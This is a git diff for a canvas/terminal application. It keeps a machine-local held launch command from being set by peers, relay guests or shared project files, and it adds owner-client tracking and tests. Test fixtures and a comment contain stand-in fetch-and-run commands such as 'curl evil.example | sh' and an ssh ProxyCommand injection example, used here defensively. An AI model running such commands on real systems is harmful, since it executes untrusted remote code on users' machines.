+ coldStore.applyOwnNodeMutation(owner.id, {
op: 'upsert',
node: {
...frame,
@@ -12083,7 +12089,7 @@ export function Canvas() {
}
}
for (const node of coldMade) {
- coldStore.applyNodeMutation(owner.id, {
+ coldStore.applyOwnNodeMutation(owner.id, {
op: 'upsert',
node: flowToNodeStates([node])[0]
})
@@ -12399,7 +12405,7 @@ export function Canvas() {
// `applyNodeMutation` + `appendCanvasLinks` are the store paths a peer mutation and the
// cold open already take, and `writeDisk` is what persists them.
const ocStore = useProjects.getState()
- ocStore.applyNodeMutation(offCanvas.project.id, {
+ ocStore.applyOwnNodeMutation(offCanvas.project.id, {
op: 'upsert',
node: flowToNodeStates([withOpenedBy(placed, sourceNodeId)])[0]
})
@@ -15682,7 +15688,7 @@ export function Canvas() {
const st = useProjects.getState()
const stored = st.getProject(projectId)?.nodes.find((n) => n.id === nodeId)
if (!stored) return false
- return st.applyNodeMutation(projectId, { op: 'upsert', node: { ...stored, pendingLaunch: pending } })
+ return st.applyOwnNodeMutation(projectId, { op: 'upsert', node: { ...stored, pendingLaunch: pending } })
},
writeDisk,
markDirty
diff --git a/src/renderer/canvas/canvas-wiring.test.tsx b/src/renderer/canvas/canvas-wiring.test.tsx
index 8407783a9..ffacc4ebb 100644
--- a/src/renderer/canvas/canvas-wiring.test.tsx
+++ b/src/renderer/canvas/canvas-wiring.test.tsx
@@ -349,10 +349,10 @@ describe('reopen-last-closed records and dispatches through the shared history s
expect(CANVAS_SRC).toContain("'app.reopenLastClosed': reopenLastClosedCommand")
})
- it('never live-inserts into a non-active project — routes through applyNodeMutation instead', () => {
+ it('never live-inserts into a non-active project — routes through applyOwnNodeMutation instead', () => {
// The bug this pins: a synchronous setNodes() right after switchProject()/reopenProject()
// races the active-project load effect and silently loses the recreated nodes.
- expect(CANVAS_SRC).toContain('.applyNodeMutation(plan.projectId, {')
+ expect(CANVAS_SRC).toContain('.applyOwnNodeMutation(plan.projectId, {')
})
it('arms a cold-open command before writing a restored node into a non-active project', () => {
diff --git a/src/renderer/canvas/control-cold-open.source.test.ts b/src/renderer/canvas/control-cold-open.source.test.ts
index 99947518f..74639dc37 100644
--- a/src/renderer/canvas/control-cold-open.source.test.ts
+++ b/src/renderer/canvas/control-cold-open.source.test.ts
@@ -86,9 +86,9 @@ describe('the cold-open dispatch block (source pins)', () => {
expect(body).not.toContain('addAndConnect')
})
- it('writes through the store: applyNodeMutation for nodes, appendCanvasLinks for edges', () => {
+ it('writes through the store: applyOwnNodeMutation for nodes, appendCanvasLinks for edges', () => {
const body = coldOpenBody()
- expect(body).toContain('applyNodeMutation(owner.id, {')
+ expect(body).toContain('applyOwnNodeMutation(owner.id, {')
expect(body).toContain('appendCanvasLinks(owner.id,')
expect(body).toContain('writeDisk()')
})
@@ -106,7 +106,7 @@ describe('the cold-open dispatch block (source pins)', () => {
it('refusal-before-write: every refusal precedes the first store write', () => {
const body = coldOpenBody()
const firstWrite = Math.min(
- ...['applyNodeMutation', 'appendCanvasLinks'].map((s) => {
+ ...['applyOwnNodeMutation', 'appendCanvasLinks'].map((s) => {
const i = body.indexOf(s)
return i === -1 ? body.length : i
})
diff --git a/src/renderer/canvas/control-off-canvas.source.test.ts b/src/renderer/canvas/control-off-canvas.source.test.ts
index 593380c86..99de77362 100644
--- a/src/renderer/canvas/control-off-canvas.source.test.ts
+++ b/src/renderer/canvas/control-off-canvas.source.test.ts
@@ -124,7 +124,7 @@ describe('the off-canvas dispatch block (source pins)', () => {
const body = addAndConnectBody()
const off = code(body.slice(body.indexOf('if (offCanvas) {'), body.indexOf('setNodes((ns) =>')))
expect(off.length).toBeGreaterThan(0)
- expect(off).toContain('applyNodeMutation(offCanvas.project.id, {')
+ expect(off).toContain('applyOwnNodeMutation(offCanvas.project.id, {')
expect(off).toContain('appendCanvasLinks(offCanvas.project.id, {')
expect(off).toContain('writeDisk()')
expect(off).not.toContain('setNodes(')
diff --git a/src/renderer/canvas/control-open-project.source.test.ts b/src/renderer/canvas/control-open-project.source.test.ts
index 79a25703c..a90249c26 100644
--- a/src/renderer/canvas/control-open-project.source.test.ts
+++ b/src/renderer/canvas/control-open-project.source.test.ts
@@ -100,13 +100,13 @@ describe('the --project targeted-opens block (source pins)', () => {
it('the gate order is refusal-before-write: every refusal precedes every store/canvas write', () => {
// A refused target must write NOTHING. The flag refusal and the source/target belt both
- // return before the first applyNodeMutation or setNodes — moving a write above either is the
+ // return before the first applyOwnNodeMutation or setNodes — moving a write above either is the
// gate-before-write mutation. Both are decided by pure helpers whose logic (and every refusal
// sentence) is red-capable in projectOpen.test.ts; what only the source can show is that the
// dispatch relays their answer before it writes.
const body = targetedOpensBody()
const firstWrite = Math.min(
- ...['applyNodeMutation', 'setNodes'].map((s) => {
+ ...['applyOwnNodeMutation', 'setNodes'].map((s) => {
const i = body.indexOf(s)
return i === -1 ? body.length : i
})
diff --git a/src/renderer/lib/controlRouting.test.ts b/src/renderer/lib/controlRouting.test.ts
index a2a1f6218..2768a26a4 100644
--- a/src/renderer/lib/controlRouting.test.ts
+++ b/src/renderer/lib/controlRouting.test.ts
@@ -94,7 +94,7 @@ describe('needsLiveCanvas', () => {
it('is false for sticky — a scheduled note sync must never travel the camera either', () => {
// Same G5 shape as send/reply: routing is by SOURCE, and the verb's headline use is a cron
// agent rewriting one note every few minutes. The non-active write path goes through the
- // projects store (`applyNodeMutation`), not the live canvas.
+ // projects store (`applyOwnNodeMutation`), not the live canvas.
expect(needsLiveCanvas('sticky')).toBe(false)
})
diff --git a/src/renderer/state/pending-launch-sync.test.ts b/src/renderer/state/pending-launch-sync.test.ts
new file mode 100644
index 000000000..f8636cf6e
--- /dev/null
+++ b/src/renderer/state/pending-launch-sync.test.ts
@@ -0,0 +1,96 @@
+// `pendingLaunch` across the live canvas (applyMutationToFlow), the background-project store
+// (applyNodeMutation / applyOwnNodeMutation), and two Server Edition tabs sharing one core.
+//
+// The launch is machine-local (@shared/node-exec): a peer or relay guest may never set, replace or
+// clear it. Two OWNER tabs, though, must still agree on who claimed a launch, or both would type it
+// — so the core forwards an owner's copy to the other owners with `origin: 'core'`, and that copy
+// is authoritative. These tests pin both halves, including exactly-once.
+import { describe, it, expect, beforeEach } from 'vitest'
+import { applyMutationToFlow, nodeStatesToFlow, flowToNodeStates, type CanvasNode } from './workspace'
+import { useProjects } from './projects'
+import { sanitizeInboundMutation, stripCastNodeExec } from '@shared/node-exec'
+import { launchesToFire } from '../lib/pendingLaunch'
+import type { CanvasMutation, CanvasNodeState, PendingLaunch } from '@shared/types'
+
+const armed: PendingLaunch = { after: [], command: 'claude "brief"', attempted: false }
+const state = (over: Partial<CanvasNodeState> = {}): CanvasNodeState => ({
+ id: 'n1',
+ kind: 'terminal',
+ position: { x: 0, y: 0 },
+ size: { width: 480, height: 320 },
+ title: 'n1',
+ color: '#fff',
+ group: null,
+ ...over
+})
+const flow = (s: CanvasNodeState): CanvasNode[] => nodeStatesToFlow([s])
+
+describe('applyMutationToFlow (live canvas)', () => {
+ it('a peer upsert carrying a launch neither arms a node nor replaces ours', () => {
+ const fresh = applyMutationToFlow([], { op: 'upsert', node: state({ pendingLaunch: { after: [], command: 'evil' } }) })
+ expect(fresh[0].data.pendingLaunch).toBeUndefined()
+ const mine = flow(state({ pendingLaunch: armed }))
+ const moved = applyMutationToFlow(mine, { op: 'upsert', node: state({ position: { x: 9, y: 9 } }) })
+ expect(moved[0].data.pendingLaunch).toEqual(armed)
+ expect(moved[0].position).toEqual({ x: 9, y: 9 })
+ })
+ it('a relay guest keeps its own launch through the host\'s stripped echo', () => {
+ // The host strips the guest's launch before reflecting; the guest's own live copy survives.
+ const guest = flow(state({ pendingLaunch: armed }))
+ const echo = applyMutationToFlow(guest, { op: 'upsert', node: state(), seq: 4 })
+ expect(echo[0].data.pendingLaunch).toEqual(armed)
+ })
+ it('a core-vouched copy sets and clears', () => {
+ const mine = flow(state({ pendingLaunch: armed }))
+ const cleared = applyMutationToFlow(mine, { op: 'upsert', node: state(), origin: 'core' })
+ expect(cleared[0].data.pendingLaunch).toBeUndefined()
+ })
+})
+
+describe('projects store (a project not on screen)', () => {
+ beforeEach(() => useProjects.getState().hydrate({ version: 2, activeProjectId: '', projects: [] }))
+ it('patchStored(..., undefined) through applyOwnNodeMutation CLEARS the launch', () => {
+ const p = useProjects.getState().addProject('p', '/tmp/p')
+ useProjects.getState().commitCanvas(p.id, [state({ pendingLaunch: armed })], { x: 0, y: 0, zoom: 1 })
+ const stored = useProjects.getState().getProject(p.id)!.nodes[0]
+ expect(useProjects.getState().applyOwnNodeMutation(p.id, { op: 'upsert', node: { ...stored, pendingLaunch: undefined } })).toBe(true)
+ expect(useProjects.getState().getProject(p.id)!.nodes[0].pendingLaunch).toBeUndefined()
+ })
+ it('a cold open through applyOwnNodeMutation keeps the launch it moved into pendingLaunch', () => {
+ const p = useProjects.getState().addProject('p', '/tmp/p')
+ useProjects.getState().applyOwnNodeMutation(p.id, { op: 'upsert', node: state({ pendingLaunch: armed }) })
+ expect(useProjects.getState().getProject(p.id)!.nodes[0].pendingLaunch).toEqual(armed)
+ })
+ it('the peer path (applyNodeMutation) can neither plant nor clear one', () => {
+ const p = useProjects.getState().addProject('p', '/tmp/p')
+ useProjects.getState().applyNodeMutation(p.id, { op: 'upsert', node: state({ id: 'x', pendingLaunch: armed }) })
+ expect(useProjects.getState().getProject(p.id)!.nodes[0].pendingLaunch).toBeUndefined()
+ useProjects.getState().applyOwnNodeMutation(p.id, { op: 'upsert', node: state({ pendingLaunch: armed }) })
+ useProjects.getState().applyNodeMutation(p.id, { op: 'upsert', node: state() })
+ expect(useProjects.getState().getProject(p.id)!.nodes.find((n) => n.id === 'n1')!.pendingLaunch).toEqual(armed)
+ })
+})
+
+describe('two owner tabs on one Server Edition core: a launch is typed exactly once', () => {
+ /** Tab A claims the launch (the write-ahead `attempted:true, manualOnly:true`) and casts it; the
+ * core fans it out; tab B applies what it received. Returns B's canvas afterwards. */
+ function claimReachesB(bIsOwner: boolean): CanvasNode[] {
+ const tabB = flow(state({ pendingLaunch: armed }))
+ const claimed = stripCastNodeExec(flowToNodeStates(flow(state({ pendingLaunch: { ...armed, attempted: true, manualOnly: true } }))))[0]
+ // What the core's reflector sends tab B (pinned in core/canvas-sync.pending-launch.test.ts):
+ // an owner recipient gets the owner's copy vouched with origin 'core'; anyone else gets it
+ // stripped of the launch.
+ const cast: CanvasMutation = { op: 'upsert', node: claimed, src: 'cv-a', seq: 1 }
+ const delivered: CanvasMutation[] = [bIsOwner ? { ...cast, origin: 'core' } : sanitizeInboundMutation(cast)]
+ return applyMutationToFlow(tabB, delivered[0])
+ }
+ it('an owner tab B sees A\'s claim and does not fire', () => {
+ const b = claimReachesB(true)
+ expect(b[0].data.pendingLaunch?.manualOnly).toBe(true)
+ expect(launchesToFire(b as never, {}, new Set(['n1']))).toEqual([])
+ })
+ it('control: a tab that did NOT receive the claim would fire it a second time', () => {
+ const b = claimReachesB(false)
+ expect(launchesToFire(b as never, {}, new Set(['n1'])).map((l) => l.id)).toEqual(['n1'])
+ })
+})
diff --git a/src/renderer/state/projects.ts b/src/renderer/state/projects.ts
index 1b02d773b..939b3eb92 100644
--- a/src/renderer/state/projects.ts
+++ b/src/renderer/state/projects.ts
@@ -22,7 +22,7 @@ import {
pruneLayoutViewports,
type CanvasLayout
} from '@shared/canvas-layout'
-import { applyCanvasMutation, createProject, reorderGroupWithinParent } from './workspace'
+import { applyCanvasMutation, applyOwnCanvasMutation, createProject, reorderGroupWithinParent } from './workspace'
import { markWorkspaceDirty } from './workspaceDirty'
import { folderName } from '../lib/projectOpen'
// One order-independent key for an edge's endpoints — the SAME rule `hiddenLinkIds` uses, so a
@@ -154,6 +154,14 @@ interface ProjectsState {
* they deleted on the very next save — the data-loss shape canvas sync exists to fix.
*/
applyNodeMutation(projectId: string, mutation: CanvasMutation): boolean
+ /**
+ * Applies a mutation THIS renderer authored (a cold open, an off-canvas display node, the
+ * headless start's outcome patch) to a project that is not on screen. Unlike `applyNodeMutation`
+ * nothing is stripped: the node's machine-local `pendingLaunch` is ours to set, and an upsert
+ * without one CLEARS it (the peer path carries the old one across instead — @shared/node-exec).
+ * Never route a peer's mutation through this.
+ */
+ applyOwnNodeMutation(projectId: string, mutation: CanvasMutation): boolean
/** Renames a node within a project (source of truth for inactive projects). */
renameNode(projectId: string, nodeId: string, title: string): void
/** Recolors a node within a project. */
@@ -591,6 +599,16 @@ export const useProjects = create<ProjectsState>((set, get) => ({
return true
},
+ applyOwnNodeMutation(projectId, mutation) {
+ if (!get().projects.some((p) => p.id === projectId)) return false
+ set((s) => ({
+ projects: mapProjectNodes(s.projects, projectId, (nodes) =>
+ applyOwnCanvasMutation(nodes, mutation)
+ )
+ }))
+ return true
+ },
+
renameNode(projectId, nodeId, title) {
set((s) => ({
projects: mapProjectNodes(s.projects, projectId, (nodes) =>
diff --git a/src/renderer/state/workspace.ts b/src/renderer/state/workspace.ts
index c3e566d24..3a46531d4 100644
--- a/src/renderer/state/workspace.ts
+++ b/src/renderer/state/workspace.ts
@@ -40,9 +40,9 @@ import { useSettings } from './settings'
// Re-exported so Canvas (and anything else in the renderer) keeps importing it from here, while the
// single implementation lives in src/shared and is shared with the relay host + the canvas-sync
// reflector.
-export { applyCanvasMutation } from '@shared/canvas-mutations'
+export { applyCanvasMutation, applyOwnCanvasMutation } from '@shared/canvas-mutations'
export { accountNodeColor, agentAccountColor } from '@shared/agents/account-color'
-import { sanitizeInboundNode } from '@shared/node-exec'
+import { mutationTrustsLaunch, sanitizeInboundNode } from '@shared/node-exec'
import { SYSTEM_NODE_COLORS } from '@shared/node-colors'
// Preserve the renderer's long-standing import surface; validation and the palette now live in
@@ -2116,7 +2116,9 @@ export function applyMutationToFlow(nodes: CanvasNode[], m: CanvasMutation): Can
// A peer's node never brings the exec-enabling fields with it (@shared/node-exec): they are
// per-machine settings, and letting one into the live array is exactly how it ends up harvested
// into this machine's "trusted" workspace.json on the next save.
- const incoming = nodeStatesToFlow([sanitizeInboundNode(m.node)])[0]
+ // …nor a held launch (`pendingLaunch`), unless the core vouched for an owner copy (@shared/node-exec).
+ const trustLaunch = mutationTrustsLaunch(m)
+ const incoming = nodeStatesToFlow([sanitizeInboundNode(m.node, trustLaunch)])[0]
const idx = nodes.findIndex((n) => n.id === m.node.id)
if (idx === -1) {
// Append, then re-sort: React Flow requires a parent to appear BEFORE its children, and a peer
@@ -2140,6 +2142,8 @@ export function applyMutationToFlow(nodes: CanvasNode[], m: CanvasMutation): Can
...prev.data,
...incoming.data,
shell: prev.data.shell,
+ // Ours, unless the core vouched for this copy — then it is authoritative, a clear included.
+ pendingLaunch: trustLaunch ? incoming.data.pendingLaunch : prev.data.pendingLaunch,
...(incoming.data.ssh && prev.data.ssh?.extraArgs
? {
ssh: {
diff --git a/src/server/owner-client.test.ts b/src/server/owner-client.test.ts
new file mode 100644
index 000000000..34ef6ca3b
--- /dev/null
+++ b/src/server/owner-client.test.ts
@@ -0,0 +1,44 @@
+// Which attached UI is the machine's OWNER. The canvas reflector lets a node's machine-local held
+// launch (`pendingLaunch`) travel only owner→owner (core/canvas-sync.ts), so a relay-hosted guest
+// must never be marked owner, and the cookie-authenticated browser socket must be.
+import { describe, it, expect } from 'vitest'
+import { readFileSync } from 'fs'
+import { ServerPlatform } from './platform-server'
+
+const sink = { sendText: () => {}, sendBinary: () => {}, bufferedAmount: () => 0 }
+const src = (f: string): string => readFileSync(f, 'utf8').replace(/\r\n/g, '\n')
+
+describe('ServerPlatform.isOwnerClient', () => {
+ it('is true only for a connection attached as owner, and forgotten on detach', () => {
+ const p = new ServerPlatform({ userDataDir: '/nonexistent', appVersion: '0' })
+ const owner = p.attach(sink, { owner: true })
+ const peer = p.attach(sink)
+ expect(p.isOwnerClient(owner)).toBe(true)
+ expect(p.isOwnerClient(peer)).toBe(false)
+ expect(p.isOwnerClient(999)).toBe(false)
+ p.detach(owner)
+ expect(p.isOwnerClient(owner)).toBe(false)
+ })
+})
+
+describe('wiring', () => {
+ it('the authenticated browser WebSocket attaches as owner', () => {
+ expect(src('src/server/ws.ts')).toMatch(/platform\.attach\([\s\S]{0,400}\{ owner: true \}\s*\)/)
+ })
+ it('a relay-hosted peer attaches WITHOUT the owner flag', () => {
+ const idx = src('src/server/index.ts')
+ const at = idx.indexOf('const id = platform.attach(')
+ expect(at).toBeGreaterThan(-1)
+ expect(idx.slice(at, idx.indexOf('\n', at))).toBe('const id = platform.attach(sink)')
+ })
+ it('Electron: the main window is the owner, a relay peer never is', () => {
+ expect(src('src/main/platform-electron.ts')).toContain(
+ 'isOwnerClient: (id) => !peerRegistry().has(id) && mainWindowClientIds().includes(id)'
+ )
+ })
+ it('a relay tab drops the remote core\'s origin before applying its mutations', () => {
+ const canvas = src('src/renderer/canvas/Canvas.tsx')
+ expect(canvas).toContain("const relay = activeSession.source === 'relay'")
+ expect(canvas).toContain('const mutation = relay ? withoutCoreOrigin(received) : received')
+ })
+})
diff --git a/src/server/platform-server.ts b/src/server/platform-server.ts
index 92043a7b8..f8396856c 100644
--- a/src/server/platform-server.ts
+++ b/src/server/platform-server.ts
@@ -28,6 +28,9 @@ export class ServerPlatform implements CorePlatform {
* desktop shell registers under webContents ids), so this shell owns the counter. */
private registry = new UiSinkRegistry()
private nextUiId = 1
+ /** Connections attached as the OWNER (the cookie-authenticated browser WebSocket, ws.ts). A relay
+ * peer attaches through the same `attach` without the flag. */
+ private owners = new Set<number>()
constructor(opts: { userDataDir: string; appVersion: string }) {
this.userDataDir = opts.userDataDir
@@ -96,16 +99,24 @@ export class ServerPlatform implements CorePlatform {
return Promise.reject(new Error('openExternal is not available on a headless server'))
}
- attach(sink: UiSink): number {
+ /** `owner` only from ws.ts, whose upgrade gate authenticated the socket as THE server's user. A
+ * relay-hosted peer (index.ts's hosted attach) is never an owner. */
+ attach(sink: UiSink, opts: { owner?: boolean } = {}): number {
const id = this.nextUiId++
this.registry.register(id, sink)
+ if (opts.owner === true) this.owners.add(id)
return id
}
detach(uiId: number): void {
+ this.owners.delete(uiId)
this.registry.unregister(uiId)
}
+ isOwnerClient(uiId: number): boolean {
+ return this.owners.has(uiId)
+ }
+
async dispatch(uiId: number, req: RpcRequest): Promise<RpcOk | RpcErr> {
const h = this.handlers.get(req.method)
if (!h) {
diff --git a/src/server/ws.ts b/src/server/ws.ts
index adbca3c62..44f069fee 100644
--- a/src/server/ws.ts
+++ b/src/server/ws.ts
@@ -171,11 +171,16 @@ export function attachWsServer(server: http.Server, opts: WsServerOpts): WebSock
// involved, so it works even while the tab is frozen or the app is wedged).
ws.on('pong', () => alive.add(ws))
- const uiId = platform.attach({
- sendText: (json) => ws.send(json),
- sendBinary: (buf) => ws.send(buf, { binary: true }),
- bufferedAmount: () => ws.bufferedAmount
- })
+ // `owner`: this socket passed `upgradeAllowed` (session cookie or trusted proxy auth), so it is
+ // the server's one user. Relay-hosted peers attach elsewhere (index.ts) and never get it.
+ const uiId = platform.attach(
+ {
+ sendText: (json) => ws.send(json),
+ sendBinary: (buf) => ws.send(buf, { binary: true }),
+ bufferedAmount: () => ws.bufferedAmount
+ },
+ { owner: true }
+ )
// Team presence: each authenticated socket is one peer. Joining AFTER attach means the hub's
// `presence:sync` sendTo lands on a live sink; the browser bridge buffers it until the app
// subscribes. The peer stays nameless ("Someone") until it sends `presence:hello`.
diff --git a/src/shared/canvas-mutations.ts b/src/shared/canvas-mutations.ts
index e1c53f028..9b9dee286 100644
--- a/src/shared/canvas-mutations.ts
+++ b/src/shared/canvas-mutations.ts
@@ -2,7 +2,7 @@
// the relay host (src/main/remote), the renderer (Canvas), and the canvas-sync reflector
// (src/core). Pure: no electron, no sockets, no disk.
-import { carryLocalNodeExec, sanitizeInboundNode } from './node-exec'
+import { carryLocalNodeExec, mutationTrustsLaunch, sanitizeInboundNode } from './node-exec'
import { REF_MAX_LEN } from './presence'
import type { CanvasMutation, CanvasNodeState } from './types'
@@ -152,13 +152,35 @@ export function applyCanvasMutation(
m: CanvasMutation
): CanvasNodeState[] {
if (m.op === 'remove') return states.filter((n) => n.id !== m.id)
- const node = sanitizeInboundNode(m.node)
+ // A held launch (`pendingLaunch`) is machine-local too; only a core-vouched owner copy
+ // (`origin: 'core'`) may set or clear it (@shared/node-exec).
+ const trust = mutationTrustsLaunch(m)
+ const node = sanitizeInboundNode(m.node, trust)
const idx = states.findIndex((n) => n.id === node.id)
if (idx === -1) return [...states, node]
const next = states.slice()
// …and OUR exec fields stay on the node the upsert replaces: they are per-machine, so a peer
// dragging our ssh terminal must not hand it back stripped of the jump host we configured.
- next[idx] = carryLocalNodeExec(states[idx], node)
+ next[idx] = carryLocalNodeExec(states[idx], node, trust)
+ return next
+}
+
+/**
+ * Apply a mutation THIS renderer authored itself (a cold open into a background project, the
+ * headless start's outcome patch, an off-canvas display node). Nothing is stripped or carried: the
+ * write is ours, so its `pendingLaunch` is the one to keep — and an upsert without one CLEARS it,
+ * which the inbound path above can never do (it carries the old one across). Never call this with a
+ * mutation that arrived from anywhere else; that is what `applyCanvasMutation` is for.
+ */
+export function applyOwnCanvasMutation(
+ states: CanvasNodeState[],
+ m: CanvasMutation
+): CanvasNodeState[] {
+ if (m.op === 'remove') return states.filter((n) => n.id !== m.id)
+ const idx = states.findIndex((n) => n.id === m.node.id)
+ if (idx === -1) return [...states, m.node]
+ const next = states.slice()
+ next[idx] = m.node
return next
}
diff --git a/src/shared/canvas-publish.ts b/src/shared/canvas-publish.ts
index 8d1dbc3ad..b2a244c9f 100644
--- a/src/shared/canvas-publish.ts
+++ b/src/shared/canvas-publish.ts
@@ -21,7 +21,7 @@
//
// Pure + DOM-free (vitest runs in the node environment): only setTimeout, no React, no window.
-import { stripSharedNodeExec } from './node-exec'
+import { stripCastNodeExec } from './node-exec'
import { diffToMutations } from './canvas-mutations'
import { mutationNodeId } from './canvas-order'
import type { CanvasMutation, CanvasNodeState } from './types'
@@ -242,5 +242,8 @@ export function publishableStates(
// programs and hosts on OUR box), and sending them would both leak our local setup and put a
// value of foreign provenance into their live nodes. The publisher's baseline is built from this
// same function, so nothing re-publishes in a loop.
- return stripSharedNodeExec(states.filter((n) => !isEphemeralNodeId(n.id, ephemeralIds)))
+ // A held launch (`pendingLaunch`) is the one exec field that DOES ride the cast: it goes to this
+ // machine's own core, whose reflector forwards it only between owner clients (two Server Edition
+ // tabs must agree on who claimed a launch) and strips it for every relay/peer recipient.
+ return stripCastNodeExec(states.filter((n) => !isEphemeralNodeId(n.id, ephemeralIds)))
}
diff --git a/src/shared/node-exec.pending-launch.test.ts b/src/shared/node-exec.pending-launch.test.ts
new file mode 100644
index 000000000..73989cbd1
--- /dev/null
+++ b/src/shared/node-exec.pending-launch.test.ts
@@ -0,0 +1,110 @@
+import { describe, it, expect } from 'vitest'
+import type { CanvasNodeState, PendingLaunch } from './types'
+import { applyCanvasMutation, applyOwnCanvasMutation } from './canvas-mutations'
+import {
+ applyLocalNodeExec,
+ carryLocalNodeExec,
+ hoistLegacyNodeExec,
+ localNodeExec,
+ mutationTrustsLaunch,
+ sanitizeInboundMutation,
+ sanitizeInboundNode,
+ stripCastNodeExec,
+ stripSharedNodeExec,
+ withoutCoreOrigin
+} from './node-exec'
+
+/**
+ * `pendingLaunch` joins `shell` / `ssh.extraArgs` as a machine-local exec field. A held launch's
+ * `command` is typed into the node's shell as soon as its wait is over — and `after: []` or a
+ * vanished dep is "over" — so one that arrives in a project file or over the wire would run a
+ * command the local user never armed.
+ */
+
+const ours: PendingLaunch = { after: ['dep-1'], command: 'claude "our brief"' }
+const theirs: PendingLaunch = { after: [], command: 'curl evil.example | sh' }
+const node = (over: Partial<CanvasNodeState> = {}): CanvasNodeState => ({
+ id: 'term-abc',
+ kind: 'terminal',
+ position: { x: 0, y: 0 },
+ size: { width: 400, height: 300 },
+ title: 't',
+ color: '#fff',
+ group: null,
+ ...over
+})
+
+describe('shared project file', () => {
+ it('stripSharedNodeExec removes pendingLaunch', () => {
+ expect(stripSharedNodeExec([node({ pendingLaunch: ours })])[0].pendingLaunch).toBeUndefined()
+ })
+ it('the renderer cast keeps it (the core decides per recipient) but still strips shell', () => {
+ const cast = stripCastNodeExec([node({ pendingLaunch: ours, shell: '/bin/zsh' })])[0]
+ expect(cast.pendingLaunch).toEqual(ours)
+ expect(cast.shell).toBeUndefined()
+ })
+})
+
+describe('machine-local index round-trip', () => {
+ it('localNodeExec collects it and applyLocalNodeExec restores it', () => {
+ const local = localNodeExec([node({ pendingLaunch: ours })])
+ expect(local?.['term-abc']?.pendingLaunch).toEqual(ours)
+ expect(applyLocalNodeExec([node()], local)[0].pendingLaunch).toEqual(ours)
+ })
+ it('a file-borne launch is dropped on load, with or without a local entry', () => {
+ expect(applyLocalNodeExec([node({ pendingLaunch: theirs })], undefined)[0].pendingLaunch).toBeUndefined()
+ const local = { 'term-abc': { pendingLaunch: ours } }
+ expect(applyLocalNodeExec([node({ pendingLaunch: theirs })], local)[0].pendingLaunch).toEqual(ours)
+ })
+ it('re-validates a hand-edited local value (a hold whose after is not a list never fires on its own)', () => {
+ const local = { 'term-abc': { pendingLaunch: { command: 'x', after: 'dep' } as unknown as PendingLaunch } }
+ expect(applyLocalNodeExec([node()], local)[0].pendingLaunch?.manualOnly).toBe(true)
+ })
+ it('never writes into the caller\'s node objects', () => {
+ const input = node()
+ applyLocalNodeExec([input], { 'term-abc': { pendingLaunch: ours } })
+ expect(input.pendingLaunch).toBeUndefined()
+ })
+ it('the one-time legacy hoist NEVER adopts a file\'s launch (fail closed)', () => {
+ expect(hoistLegacyNodeExec([node({ pendingLaunch: theirs })])).toBeUndefined()
+ })
+})
+
+describe('inbound (peer / relay) mutations', () => {
+ it('sanitizeInboundNode / sanitizeInboundMutation strip it', () => {
+ expect(sanitizeInboundNode(node({ pendingLaunch: theirs })).pendingLaunch).toBeUndefined()
+ const m = sanitizeInboundMutation({ op: 'upsert', node: node({ pendingLaunch: theirs }) })
+ expect((m as { node: CanvasNodeState }).node.pendingLaunch).toBeUndefined()
+ })
+ it('a peer cannot plant one on a new node', () => {
+ const next = applyCanvasMutation([], { op: 'upsert', node: node({ pendingLaunch: theirs }) })
+ expect(next[0].pendingLaunch).toBeUndefined()
+ })
+ it('a peer can neither replace nor clear ours: it is carried across the upsert', () => {
+ const states = [node({ pendingLaunch: ours })]
+ expect(applyCanvasMutation(states, { op: 'upsert', node: node({ pendingLaunch: theirs }) })[0].pendingLaunch).toEqual(ours)
+ expect(applyCanvasMutation(states, { op: 'upsert', node: node({ position: { x: 5, y: 5 } }) })[0].pendingLaunch).toEqual(ours)
+ expect(carryLocalNodeExec(states[0], node()).pendingLaunch).toEqual(ours)
+ })
+ it('a core-vouched owner copy is authoritative: it sets AND clears', () => {
+ const states = [node({ pendingLaunch: ours })]
+ const claimed = { ...ours, attempted: true, manualOnly: true }
+ expect(applyCanvasMutation(states, { op: 'upsert', node: node({ pendingLaunch: claimed }), origin: 'core' })[0].pendingLaunch).toEqual(claimed)
+ expect(applyCanvasMutation(states, { op: 'upsert', node: node(), origin: 'core' })[0].pendingLaunch).toBeUndefined()
+ })
+ it('only the literal origin "core" is trusted, and withoutCoreOrigin removes it', () => {
+ expect(mutationTrustsLaunch({ origin: 'core' })).toBe(true)
+ expect(mutationTrustsLaunch({ origin: 'CORE' })).toBe(false)
+ expect(mutationTrustsLaunch({})).toBe(false)
+ const m = withoutCoreOrigin({ op: 'remove' as const, id: 'x', origin: 'core' as const })
+ expect('origin' in m).toBe(false)
+ })
+})
+
+describe('our own writes (applyOwnCanvasMutation)', () => {
+ it('keep the launch we set, and CLEAR it when the upsert has none', () => {
+ const armed = applyOwnCanvasMutation([], { op: 'upsert', node: node({ pendingLaunch: ours }) })
+ expect(armed[0].pendingLaunch).toEqual(ours)
+ expect(applyOwnCanvasMutation(armed, { op: 'upsert', node: node() })[0].pendingLaunch).toBeUndefined()
+ })
+})
diff --git a/src/shared/node-exec.ts b/src/shared/node-exec.ts
index a71f25ac3..e49c54185 100644
--- a/src/shared/node-exec.ts
+++ b/src/shared/node-exec.ts
@@ -12,6 +12,13 @@
* `"shell": "curl evil.sh|sh"`, or simply point at a script committed in the repo.
* - `NodeState.ssh.extraArgs` — spliced verbatim into the `ssh` argv (`buildSshArgs`), where
* `-o ProxyCommand=<cmd>` makes ssh run `<cmd>` LOCALLY through /bin/sh.
+ * - `CanvasNodeState.pendingLaunch` — a held launch. Its `command` is TYPED into the node's shell
+ * once the canvas says the wait is over (`launchesToFire`), and `after: []` or a dep that no
+ * longer exists counts as satisfied. So a project file or a wire frame carrying one is a command
+ * that runs as soon as the canvas is viewed. It is produced only by this machine's own
+ * orchestration (`--after`, a cold open, a worktree setup gate), so it is machine-local exactly
+ * like `shell`: never written to a shared file, never accepted from a peer, and round-tripped
+ * through the machine-local index so an armed node still fires after an app restart.
*
* Both are legitimate when the LOCAL user sets them, so they are not deleted — they are made
* MACHINE-LOCAL: `stripSharedNodeExec` keeps them out of every project file we write, and
@@ -26,8 +33,9 @@
* a program string carrying shell metacharacters is never handed to tmux.
*/
+import { normalizePendingLaunch } from './pending-launch-shape'
import { sshExtraArgsEnableLocalExec } from './ssh'
-import type { CanvasNodeState } from './types'
+import type { CanvasMutation, CanvasNodeState, PendingLaunch } from './types'
/** Per-node exec values the LOCAL machine typed. Persisted only in the machine-local index. */
export interface LocalNodeExec {
@@ -35,6 +43,8 @@ export interface LocalNodeExec {
shell?: string
/** `NodeState.ssh.extraArgs` — raw advanced ssh args for this node's connection. */
sshExtraArgs?: string
+ /** `CanvasNodeState.pendingLaunch` — a launch THIS machine armed and has not delivered yet. */
+ pendingLaunch?: PendingLaunch
